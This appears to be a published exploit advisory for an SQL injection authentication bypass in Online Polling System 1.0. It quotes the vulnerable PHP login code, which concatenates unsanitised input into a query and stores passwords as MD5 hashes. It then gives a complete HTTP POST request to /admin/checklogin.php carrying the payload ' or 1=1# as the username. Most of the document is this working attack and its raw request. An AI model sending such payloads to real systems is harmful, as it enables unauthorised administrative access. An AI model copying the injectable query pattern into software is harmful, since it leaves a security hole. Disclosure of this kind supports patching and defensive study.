46 lines
No EOL
2.2 KiB
Text
46 lines
No EOL
2.2 KiB
Text
# Exploit Title: Online Polling System 1.0 - Authentication Bypass
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# Date: 2020-07-20
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# Author: AppleBois
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# Version: NULL
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# Software Link: https://www.sourcecodester.com/php/14330/online-polling-system.html
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#
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# Administration Control Panel || Authentication Bypass
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# Unthenticated User perform SQL Injection bypass login mechanism on /admin/checklogin.php
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#
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######################################################################################
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#Vulnerable Code
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#
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#$myusername=$_POST['myusername'];
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#$mypassword=$_POST['mypassword'];
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#$encrypted_mypassword=md5($mypassword);
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#
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#$result=mysqli_query($conn, "SELECT * FROM `tbadministrators` WHERE email='$myusername' and password='$encrypted_mypassword'");
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#
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#$count=mysqli_num_rows($result);
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#
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#if($count==1){
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#
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#$user = mysqli_fetch_assoc($result);
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#$_SESSION['member_id'] = $user['member_id'];
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#header("location:student.php");
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#}
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#
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######################################################################################
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POST /admin/checklogin.php HTTP/1.1
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Host: 10.10.10.2:81
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Content-Length: 53
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://10.10.10.2:81
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://10.10.10.2:81/online/index.php
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70; PHPSESSID=1gpgmmltf6uk3ju3aakgd0s8m5
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Connection: close
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myusername=' or 1=1#&mypassword=ad&Submit=Login |